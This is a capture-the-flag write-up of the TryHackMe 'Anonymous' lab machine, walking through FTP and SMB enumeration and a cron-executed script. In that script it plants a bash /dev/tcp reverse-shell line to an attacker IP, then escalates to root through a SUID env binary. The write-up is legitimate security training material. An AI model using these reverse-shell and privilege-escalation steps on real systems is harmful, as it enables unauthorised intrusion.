

CTF WRITEUP

Anonymous

TryHackMe

URL	https://tryhackme.com/room/anonymous
Difficulty	Medium
OS	Linux
Target IP	10.113.162.42
Date	June 12, 2026

Summary

This CTF has minimal guidance beyond basic port scanning and share enumeration and requires a person to first gain access to a system and then escalate privileges within it. It requires a minimal amount of tools and is not yet simple. It shows how automatic script execution can be dangerous and, in combination with further misconfigurations or vulnerabilities, can lead to an attacker gaining root access to the system.

Attack Path

To begin, we ran a simple Nmap scan of the target IP.

```
nmap 10.113.162.42
```

This provided me with information about open port.

```
(kali@Lenovo-T14s)-[~]  
$ nmap 10.113.162.42  
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-12 09:44 +0200  
Nmap scan report for 10.113.162.42  
Host is up (0.026s latency).  
Not shown: 996 closed tcp ports (reset)  
PORT      STATE SERVICE  
21/tcp    open  ftp  
22/tcp    open  ssh  
139/tcp   open  netbios-ssn  
445/tcp   open  microsoft-ds
```

What's interesting is that port 21, running ftp, is open. It is worth trying to log in as anonymous, considering this is a common way into an insecure machine.

```
(kali@Lenovo-T14s)-[~]  
$ ftp 10.113.162.42  
Connected to 10.113.162.42.  
220 NamelessOne's FTP Server!  
Name (10.113.162.42:kali): anonymous  
331 Please specify the password.  
Password:  
230 Login successful.
```

It worked, and now we have limited access to the target machine. We can now download and examine all the files on the victim's machine.

```
wget -m ftp://anonymous:anonymous@10.113.162.42
```

```
(kali@Lenovo-T14s)-[~/Documents/Anon/10.113.162.42/scripts]  
$ ls  
clean.sh  removed_files.log  to_do.txt
```

The clean.sh file simply removes temporary files and logs the cleanup to removed_files.log. to_do.txt is a reminder to disable anonymous login. None of this is particularly helpful. We need more information. So let's run SMB share enumeration to see if there is more on this system than meets the eye.

```
(kali@Lenovo-T14s)~$ nmap --script smb-enum-shares -p 139,445 10.113.162.42
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-12 10:14 +0200
Nmap scan report for 10.113.162.42
Host is up (0.025s latency).

PORT      STATE SERVICE
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\10.113.162.42\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (anonymous server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.113.162.42\pics:
|     Type: STYPE_DISKTREE
|     Comment: My SMB Share Directory for Pics
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\namelessone\pics
|     Anonymous access: READ
|     Current user access: READ
|   \\10.113.162.42\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|     Current user access: <none>
|_

Nmap done: 1 IP address (1 host up) scanned in 4.94 seconds
```

And there is. We found 3 additional shares. The \\10.113.162.42\pics share has read access for anonymous. This means that it is possible to get this share via the SMBget command:

```
smbget --recursive smb://10.113.162.42/pics
```

```
(kali@Lenovo-T14s)~/Documents/Anon$ smbget --recursive smb://10.113.162.42/pics
Password for [WORKGROUP\kali]:
Using domain: WORKGROUP, user: kali
smb://10.113.162.42/pics/corgo2.jpg
smb://10.113.162.42/pics/puppos.jpeg
Downloaded 300.64kB in 4 seconds
```

At first glance, these are just 2 pictures of dogs. And after looking at the metadata, it seems like there is nothing more to them.

At this point, I have hit a dead end and need to look for external help. And it turns out that the next step is within the clean.sh script. If we go back now to the log file we have previously discovered. We will find that its size has increased. This indicates that there is some kind of automatic execution, f.e cron, set to run the clean.sh script automatically. This means that we can set up a Netcat listener on our attack machine.

```
nc -nvlp 99
```

And then change the content of clean.sh to include a bash script, which, when executed, will connect to our listener, creating a reverse shell.

```

L$ cat clean.sh
#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
    bash -i >& /dev/tcp/192.168.129.100/8080 0>&1
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
    fi

```

And we are in:

```

L$ nc -nvlp 8080
listening on [any] 8080 ...
connect to [192.168.129.100] from (UNKNOWN) [10.114.140.29] 53502
bash: cannot set terminal process group (1579): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ ls
ls
pics
user.txt

```

Here we directly see the user.txt, which contains the first flag.

```

namelessone@anonymous:~$ cat user.txt
cat user.txt
90d6f992585[REDACTED]740

```

Now we need to escalate privileges and get the root.txt file, which contains the second flag. To do that, we will search for dictionaries with SUID permission.

```
find /usr/bin /usr/sbin /bin /sbin -type f -perm /4000 2>/dev/null
```

It turns out that /usr/bin/env has SUID permission.

```

namelessone@anonymous:~$ find /usr/bin /usr/sbin /bin /sbin -type f -perm /4000 2>/dev/null
<usr/sbin /bin /sbin -type f -perm /4000 2>/dev/null
/usr/bin/passwd
/usr/bin/env
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/pkexec
/bin/umount
/bin/fusermount
/bin/ping
/bin/mount
/bin/su

```

We can look up if it can be exploited on gtfobins.org, and we actually find a way to exploit it to get root access. The exploit command:

```
env /bin/sh -p
```

And we now have root:

```

<usr/sbin /bin /sbin -type f -perm /4000 2>/dev/null
/usr/bin/passwd
/usr/bin/env
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/pkexec
/bin/umount
/bin/fusermount
/bin/ping
/bin/mount
/bin/su
namelessone@anonymous:~$ env /bin/sh -p
env /bin/sh -p
ls
pics
user.txt
whoami
root

```

Now we simply run the find command for root.txt and get the root flag:

```
find / -name root.txt
/root/root.txt
cat /root/root.txt
4d9300[REDACTED]af363
```

Tools Used

Tool	Purpose
nmap	Port scanning
Netcat	Reverse Shell

Lessons Learned

This machine was my first experience of how the automatic execution of scripts on a system can be a vulnerability. Without it, I would have never been able to establish the reverse shell and get access to the system. During privilege escalation, I also discovered gtfobins.org, which I found absolutely amazing. There is no doubt that I will be using it regularly from now on.